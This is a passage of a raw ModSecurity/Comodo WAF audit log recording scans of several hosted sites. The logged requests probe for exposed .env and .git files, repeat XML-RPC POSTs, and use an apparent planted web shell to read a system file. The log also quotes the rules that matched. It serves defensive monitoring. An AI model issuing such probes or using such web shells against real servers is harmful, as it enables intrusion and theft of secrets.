HTTP/1.0 Host: best-website-designs.com X-Real-IP: 128.199.112.101 X-Accel-Internal: /internal-nginx-static-location Connection: close Content-Length: 495 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/95.0.4638.69 Safari/537.36 Content-Type: application/xml --9cbfb91b-F-- HTTP/1.1 200 OK X-Powered-By: PHP/8.3.22 Connection: close Vary: Accept-Encoding Content-Type: text/xml; charset=UTF-8 --9cbfb91b-H-- Message: Warning. Operator EQ matched 0 at IP. [file "/etc/apache2/modsecurity.d/rules/comodo_free/30_Apps_OtherApps.conf"] [line "5956"] [id "240335"] [rev "5"] [msg "COMODO WAF: XML-RPC Attack Identified (CVE-2013-0235)|Source 128.199.112.101 (50+1 hits since last alert)|best-website-designs.com|F|2"] [severity "CRITICAL"] [tag "CWAF"] [tag "OtherApps"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Operator EQ matched 0 at IP. [file "/etc/apache2/modsecurity.d/rules/comodo_free/30_Apps_OtherApps.conf"] [line "5956"] [id "240335"] [rev "5"] [msg "COMODO WAF: XML-RPC Attack Identified (CVE-2013-0235)|Source 128.199.112.101 (50+1 hits since last alert)|best-website-designs.com|F|2"] [severity "CRITICAL"] [tag "CWAF"] [tag "OtherApps"] [hostname "best-website-designs.com"] [uri "/xmlrpc.php"] [unique_id "aE9kL_bo0R64L12N_alUFAAAAAQ"] Apache-Handler: proxy:unix:/var/www/vhosts/system/best-website-designs.com/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750033455279108 987627 (- - -) Stopwatch2: 1750033455279108 987627; combined=2801, p1=481, p2=1919, p3=45, p4=62, p5=182, sr=134, sw=112, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --9cbfb91b-Z-- --a96ab902-A-- [16/Jun/2025:05:54:27.901746 +0530] aE9kOw9THibLN0xLxETvgwAAAAk 185.177.72.210 50566 127.0.0.1 7081 --a96ab902-B-- GET /.git/objects/ HTTP/1.0 Host: www.mindscan.edu.in X-Real-IP: 185.177.72.210 X-Accel-Internal: /internal-nginx-static-location Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36 Accept-Encoding: gzip --a96ab902-F-- HTTP/1.1 404 Not Found X-Powered-By: PHP/8.3.22 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <https://www.mindscan.edu.in/wp-json/>; rel="https://api.w.org/" Set-Cookie: _sfs_id=197612575ed77db71bbe27bc366556a31750033467; expires=Mon, 16 Jun 2025 01:24:27 GMT; Max-Age=3600; path=/; secure; HttpOnly Connection: close Content-Type: text/html; charset=UTF-8 --a96ab902-H-- Message: Warning. Matched phrase "/.git/" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Matched phrase "/.git/" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.mindscan.edu.in"] [uri "/.git/objects/"] [unique_id "aE9kOw9THibLN0xLxETvgwAAAAk"] Apache-Handler: proxy:unix:/var/www/vhosts/system/mindscan.edu.in/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750033467180314 721508 (- - -) Stopwatch2: 1750033467180314 721508; combined=1869, p1=372, p2=1403, p3=0, p4=0, p5=94, sr=88, sw=0, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --a96ab902-Z-- --a4b9fe13-A-- [16/Jun/2025:05:54:40.409964 +0530] aE9kR6pdvXW4_hknQUU0kgAAAAo 185.177.72.210 54764 127.0.0.1 7081 --a4b9fe13-B-- GET /:8000/.env_bak HTTP/1.0 Host: www.mindscan.edu.in X-Real-IP: 185.177.72.210 X-Accel-Internal: /internal-nginx-static-location Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36 Accept-Encoding: gzip --a4b9fe13-F-- HTTP/1.1 404 Not Found X-Powered-By: PHP/8.3.22 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <https://www.mindscan.edu.in/wp-json/>; rel="https://api.w.org/" Set-Cookie: _sfs_id=4caf7cfda0b2d48d6663824b2828ef6e1750033480; expires=Mon, 16 Jun 2025 01:24:40 GMT; Max-Age=3600; path=/; secure; HttpOnly Connection: close Content-Type: text/html; charset=UTF-8 --a4b9fe13-H-- Message: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.mindscan.edu.in"] [uri "/:8000/.env_bak"] [unique_id "aE9kR6pdvXW4_hknQUU0kgAAAAo"] Apache-Handler: proxy:unix:/var/www/vhosts/system/mindscan.edu.in/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750033479749419 660623 (- - -) Stopwatch2: 1750033479749419 660623; combined=2018, p1=409, p2=1502, p3=0, p4=0, p5=107, sr=106, sw=0, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --a4b9fe13-Z-- --59164c55-A-- [16/Jun/2025:05:54:45.313941 +0530] aE9kTJPBc7qQRvHewCtzWQAAAAA 185.177.72.210 54964 127.0.0.1 7081 --59164c55-B-- GET /environments/production/.env HTTP/1.0 Host: www.mindscan.edu.in X-Real-IP: 185.177.72.210 X-Accel-Internal: /internal-nginx-static-location Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36 Accept-Encoding: gzip --59164c55-F-- HTTP/1.1 404 Not Found X-Powered-By: PHP/8.3.22 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <https://www.mindscan.edu.in/wp-json/>; rel="https://api.w.org/" Set-Cookie: _sfs_id=0aa9e16b282396a3ec6021a7475334c41750033485; expires=Mon, 16 Jun 2025 01:24:45 GMT; Max-Age=3600; path=/; secure; HttpOnly Connection: close Content-Type: text/html; charset=UTF-8 --59164c55-H-- Message: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.mindscan.edu.in"] [uri "/environments/production/.env"] [unique_id "aE9kTJPBc7qQRvHewCtzWQAAAAA"] Apache-Handler: proxy:unix:/var/www/vhosts/system/mindscan.edu.in/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750033484545153 768851 (- - -) Stopwatch2: 1750033484545153 768851; combined=1779, p1=383, p2=1305, p3=0, p4=0, p5=91, sr=90, sw=0, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --59164c55-Z-- --f9814c4d-A-- [16/Jun/2025:05:54:55.380017 +0530] aE9kVi2Tu2VxEl4lA7DcnQAAAAw 185.177.72.210 46096 127.0.0.1 7081 --f9814c4d-B-- GET /aws/.env HTTP/1.0 Host: www.mindscan.edu.in X-Real-IP: 185.177.72.210 X-Accel-Internal: /internal-nginx-static-location Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36 Accept-Encoding: gzip --f9814c4d-F-- HTTP/1.1 404 Not Found X-Powered-By: PHP/8.3.22 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <https://www.mindscan.edu.in/wp-json/>; rel="https://api.w.org/" Set-Cookie: _sfs_id=f0b7dc3faa6015d4cab9ae6e8904aaaf1750033495; expires=Mon, 16 Jun 2025 01:24:55 GMT; Max-Age=3600; path=/; secure; HttpOnly Connection: close Content-Type: text/html; charset=UTF-8 --f9814c4d-H-- Message: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.mindscan.edu.in"] [uri "/aws/.env"] [unique_id "aE9kVi2Tu2VxEl4lA7DcnQAAAAw"] Apache-Handler: proxy:unix:/var/www/vhosts/system/mindscan.edu.in/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750033494704282 675810 (- - -) Stopwatch2: 1750033494704282 675810; combined=1732, p1=448, p2=1169, p3=0, p4=0, p5=114, sr=108, sw=1, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --f9814c4d-Z-- --3a8d251e-A-- [16/Jun/2025:05:55:02.391429 +0530] aE9kXdVsbyFDndheOrk0aQAAAAE 185.177.72.210 40882 127.0.0.1 7081 --3a8d251e-B-- GET /:8080/environnements/.env HTTP/1.0 Host: www.mindscan.edu.in X-Real-IP: 185.177.72.210 X-Accel-Internal: /internal-nginx-static-location Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36 Accept-Encoding: gzip --3a8d251e-F-- HTTP/1.1 404 Not Found X-Powered-By: PHP/8.3.22 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <https://www.mindscan.edu.in/wp-json/>; rel="https://api.w.org/" Set-Cookie: _sfs_id=86650a1939c4c5adf10e9fa3a250f7461750033502; expires=Mon, 16 Jun 2025 01:25:02 GMT; Max-Age=3600; path=/; secure; HttpOnly Connection: close Content-Type: text/html; charset=UTF-8 --3a8d251e-H-- Message: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.mindscan.edu.in"] [uri "/:8080/environnements/.env"] [unique_id "aE9kXdVsbyFDndheOrk0aQAAAAE"] Apache-Handler: proxy:unix:/var/www/vhosts/system/mindscan.edu.in/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750033501594482 797029 (- - -) Stopwatch2: 1750033501594482 797029; combined=2373, p1=493, p2=1735, p3=0, p4=0, p5=144, sr=117, sw=1, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --3a8d251e-Z-- --a0589d55-A-- [16/Jun/2025:05:55:03.482720 +0530] aE9kXg9THibLN0xLxETvkwAAAAk 185.177.72.210 40930 127.0.0.1 7081 --a0589d55-B-- GET /:10000/front-app/.env HTTP/1.0 Host: www.mindscan.edu.in X-Real-IP: 185.177.72.210 X-Accel-Internal: /internal-nginx-static-location Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36 Accept-Encoding: gzip --a0589d55-F-- HTTP/1.1 404 Not Found X-Powered-By: PHP/8.3.22 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <https://www.mindscan.edu.in/wp-json/>; rel="https://api.w.org/" Set-Cookie: _sfs_id=2e1177a11fe53ce42d48016439fcc35a1750033503; expires=Mon, 16 Jun 2025 01:25:03 GMT; Max-Age=3600; path=/; secure; HttpOnly Connection: close Content-Type: text/html; charset=UTF-8 --a0589d55-H-- Message: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.mindscan.edu.in"] [uri "/:10000/front-app/.env"] [unique_id "aE9kXg9THibLN0xLxETvkwAAAAk"] Apache-Handler: proxy:unix:/var/www/vhosts/system/mindscan.edu.in/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750033502712696 770087 (- - -) Stopwatch2: 1750033502712696 770087; combined=2237, p1=467, p2=1678, p3=0, p4=0, p5=92, sr=111, sw=0, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --a0589d55-Z-- --495b826c-A-- [16/Jun/2025:05:55:06.597911 +0530] aE9kYfbo0R64L12N_alUMAAAAAQ 185.177.72.210 41096 127.0.0.1 7081 --495b826c-B-- GET /spearmint/.env HTTP/1.0 Host: www.mindscan.edu.in X-Real-IP: 185.177.72.210 X-Accel-Internal: /internal-nginx-static-location Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36 Accept-Encoding: gzip --495b826c-F-- HTTP/1.1 404 Not Found X-Powered-By: PHP/8.3.22 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <https://www.mindscan.edu.in/wp-json/>; rel="https://api.w.org/" Set-Cookie: _sfs_id=a2d4731264d5026b1710514dadb837e61750033506; expires=Mon, 16 Jun 2025 01:25:06 GMT; Max-Age=3600; path=/; secure; HttpOnly Connection: close Content-Type: text/html; charset=UTF-8 --495b826c-H-- Message: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.mindscan.edu.in"] [uri "/spearmint/.env"] [unique_id "aE9kYfbo0R64L12N_alUMAAAAAQ"] Apache-Handler: proxy:unix:/var/www/vhosts/system/mindscan.edu.in/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750033505898006 699970 (- - -) Stopwatch2: 1750033505898006 699970; combined=2639, p1=532, p2=2010, p3=0, p4=0, p5=97, sr=140, sw=0, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --495b826c-Z-- --f774463a-A-- [16/Jun/2025:05:55:07.659617 +0530] aE9kYg9THibLN0xLxETvlQAAAAk 185.177.72.210 41138 127.0.0.1 7081 --f774463a-B-- GET /:8888/app/konfig/.env HTTP/1.0 Host: www.mindscan.edu.in X-Real-IP: 185.177.72.210 X-Accel-Internal: /internal-nginx-static-location Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36 Accept-Encoding: gzip --f774463a-F-- HTTP/1.1 404 Not Found X-Powered-By: PHP/8.3.22 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <https://www.mindscan.edu.in/wp-json/>; rel="https://api.w.org/" Set-Cookie: _sfs_id=3e487218e3e2119c91e2f3a4653f9ac31750033507; expires=Mon, 16 Jun 2025 01:25:07 GMT; Max-Age=3600; path=/; secure; HttpOnly Connection: close Content-Type: text/html; charset=UTF-8 --f774463a-H-- Message: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.mindscan.edu.in"] [uri "/:8888/app/konfig/.env"] [unique_id "aE9kYg9THibLN0xLxETvlQAAAAk"] Apache-Handler: proxy:unix:/var/www/vhosts/system/mindscan.edu.in/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750033506930085 729612 (- - -) Stopwatch2: 1750033506930085 729612; combined=1932, p1=369, p2=1455, p3=0, p4=0, p5=107, sr=100, sw=1, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --f774463a-Z-- --101a0e54-A-- [16/Jun/2025:05:55:13.610479 +0530] aE9kaC2Tu2VxEl4lA7DcpwAAAAw 185.177.72.210 34530 127.0.0.1 7081 --101a0e54-B-- GET /:8000/docker/.env HTTP/1.0 Host: www.mindscan.edu.in X-Real-IP: 185.177.72.210 X-Accel-Internal: /internal-nginx-static-location Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36 Accept-Encoding: gzip --101a0e54-F-- HTTP/1.1 404 Not Found X-Powered-By: PHP/8.3.22 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <https://www.mindscan.edu.in/wp-json/>; rel="https://api.w.org/" Set-Cookie: _sfs_id=0e54fb0d15e8e4898d5f85d5443b11d71750033513; expires=Mon, 16 Jun 2025 01:25:13 GMT; Max-Age=3600; path=/; secure; HttpOnly Connection: close Content-Type: text/html; charset=UTF-8 --101a0e54-H-- Message: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.mindscan.edu.in"] [uri "/:8000/docker/.env"] [unique_id "aE9kaC2Tu2VxEl4lA7DcpwAAAAw"] Apache-Handler: proxy:unix:/var/www/vhosts/system/mindscan.edu.in/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750033512958265 652284 (- - -) Stopwatch2: 1750033512958265 652284; combined=1788, p1=379, p2=1307, p3=0, p4=0, p5=101, sr=97, sw=1, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --101a0e54-Z-- --b8e0fb6a-A-- [16/Jun/2025:05:55:16.246764 +0530] aE9ka516HYQp4eDf7R1U7AAAAAI 128.199.112.101 34600 127.0.0.1 7081 --b8e0fb6a-B-- POST //xmlrpc.php HTTP/1.0 Host: best-website-designs.com X-Real-IP: 128.199.112.101 X-Accel-Internal: /internal-nginx-static-location Connection: close Content-Length: 491 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/95.0.4638.69 Safari/537.36 Content-Type: application/xml --b8e0fb6a-F-- HTTP/1.1 200 OK X-Powered-By: PHP/8.3.22 Connection: close Vary: Accept-Encoding Content-Type: text/xml; charset=UTF-8 --b8e0fb6a-H-- Message: Warning. Operator EQ matched 0 at IP. [file "/etc/apache2/modsecurity.d/rules/comodo_free/30_Apps_OtherApps.conf"] [line "5956"] [id "240335"] [rev "5"] [msg "COMODO WAF: XML-RPC Attack Identified (CVE-2013-0235)|Source 128.199.112.101 (50+1 hits since last alert)|best-website-designs.com|F|2"] [severity "CRITICAL"] [tag "CWAF"] [tag "OtherApps"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Operator EQ matched 0 at IP. [file "/etc/apache2/modsecurity.d/rules/comodo_free/30_Apps_OtherApps.conf"] [line "5956"] [id "240335"] [rev "5"] [msg "COMODO WAF: XML-RPC Attack Identified (CVE-2013-0235)|Source 128.199.112.101 (50+1 hits since last alert)|best-website-designs.com|F|2"] [severity "CRITICAL"] [tag "CWAF"] [tag "OtherApps"] [hostname "best-website-designs.com"] [uri "/xmlrpc.php"] [unique_id "aE9ka516HYQp4eDf7R1U7AAAAAI"] Apache-Handler: proxy:unix:/var/www/vhosts/system/best-website-designs.com/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750033515310896 935940 (- - -) Stopwatch2: 1750033515310896 935940; combined=2908, p1=383, p2=2010, p3=56, p4=80, p5=235, sr=120, sw=144, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --b8e0fb6a-Z-- --214b7537-A-- [16/Jun/2025:05:55:19.323654 +0530] aE9kbpPBc7qQRvHewCtzawAAAAA 185.177.72.210 34720 127.0.0.1 7081 --214b7537-B-- GET /:8443/www/.env HTTP/1.0 Host: www.mindscan.edu.in X-Real-IP: 185.177.72.210 X-Accel-Internal: /internal-nginx-static-location Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36 Accept-Encoding: gzip --214b7537-F-- HTTP/1.1 404 Not Found X-Powered-By: PHP/8.3.22 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <https://www.mindscan.edu.in/wp-json/>; rel="https://api.w.org/" Set-Cookie: _sfs_id=bc30f2ebdb1529343a21d91846a83a701750033519; expires=Mon, 16 Jun 2025 01:25:19 GMT; Max-Age=3600; path=/; secure; HttpOnly Connection: close Content-Type: text/html; charset=UTF-8 --214b7537-H-- Message: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.mindscan.edu.in"] [uri "/:8443/www/.env"] [unique_id "aE9kbpPBc7qQRvHewCtzawAAAAA"] Apache-Handler: proxy:unix:/var/www/vhosts/system/mindscan.edu.in/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750033518679537 644202 (- - -) Stopwatch2: 1750033518679537 644202; combined=1753, p1=435, p2=1207, p3=0, p4=0, p5=110, sr=119, sw=1, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --214b7537-Z-- --bd388028-A-- [16/Jun/2025:05:55:22.047823 +0530] aE9kcmYZLqtIztZ_Ow_pQwAAAAg 216.73.216.83 34850 127.0.0.1 7081 --bd388028-B-- GET /admin/images/products/6847417b2eb7c%20bipas.phtml?path=%2F%2Fusr%2Fshare%2Fbase-files&viewfile=%2F%2Fusr%2Fshare%2Fbase-files%2Fdot.profile HTTP/1.0 Host: www.sarainternational.ae X-Real-IP: 216.73.216.83 X-Accel-Internal: /internal-nginx-static-location Connection: close accept: */* user-agent: Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; ClaudeBot/1.0; +claudebot@anthropic.com) accept-encoding: gzip, br, zstd, deflate --bd388028-F-- HTTP/1.1 200 OK Vary: Accept-Encoding Content-Encoding: gzip Content-Length: 3082 Connection: close Content-Type: text/html; charset=UTF-8 --bd388028-H-- Message: Warning. Matched phrase ".profile" at ARGS:viewfile. [file "/etc/apache2/modsecurity.d/rules/comodo_free/08_Global_Other.conf"] [line "57"] [id "210580"] [rev "2"] [msg "COMODO WAF: OS File Access Attempt||www.sarainternational.ae|F|2"] [data "Matched Data: .profile found within ARGS:viewfile: /usr/share/base-files/dot.profile"] [severity "CRITICAL"] [tag "CWAF"] [tag "Other"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Matched phrase ".profile" at ARGS:viewfile. [file "/etc/apache2/modsecurity.d/rules/comodo_free/08_Global_Other.conf"] [line "57"] [id "210580"] [rev "2"] [msg "COMODO WAF: OS File Access Attempt||www.sarainternational.ae|F|2"] [data "Matched Data: .profile found within ARGS:viewfile: /usr/share/base-files/dot.profile"] [severity "CRITICAL"] [tag "CWAF"] [tag "Other"] [hostname "www.sarainternational.ae"] [uri "/admin/images/products/6847417b2eb7c bipas.phtml"] [unique_id "aE9kcmYZLqtIztZ_Ow_pQwAAAAg"] Apache-Handler: application/x-httpd-php Stopwatch: 1750033522043810 4066 (- - -) Stopwatch2: 1750033522043810 4066; combined=2067, p1=349, p2=1594, p3=34, p4=35, p5=55, sr=99, sw=0, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --bd388028-Z-- --56349201-A-- [16/Jun/2025:05:55:23.591462 +0530] aE9kcp_Rv4EBtUyS5c4FCwAAAAU 185.177.72.210 35036 127.0.0.1 7081 --56349201-B-- GET /test/bdd/fixtures/sidetree-mock/.env HTTP/1.0 Host: www.mindscan.edu.in X-Real-IP: 185.177.72.210 X-Accel-Internal: /internal-nginx-static-location Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36 Accept-Encoding: gzip --56349201-F-- HTTP/1.1 404 Not Found X-Powered-By: PHP/8.3.22 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <https://www.mindscan.edu.in/wp-json/>; rel="https://api.w.org/" Set-Cookie: _sfs_id=39bdcda1ba814b545e20a7d7305e49621750033523; expires=Mon, 16 Jun 2025 01:25:23 GMT; Max-Age=3600; path=/; secure; HttpOnly Connection: close Content-Type: text/html; charset=UTF-8 --56349201-H-- Message: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.mindscan.edu.in"] [uri "/test/bdd/fixtures/sidetree-mock/.env"] [unique_id 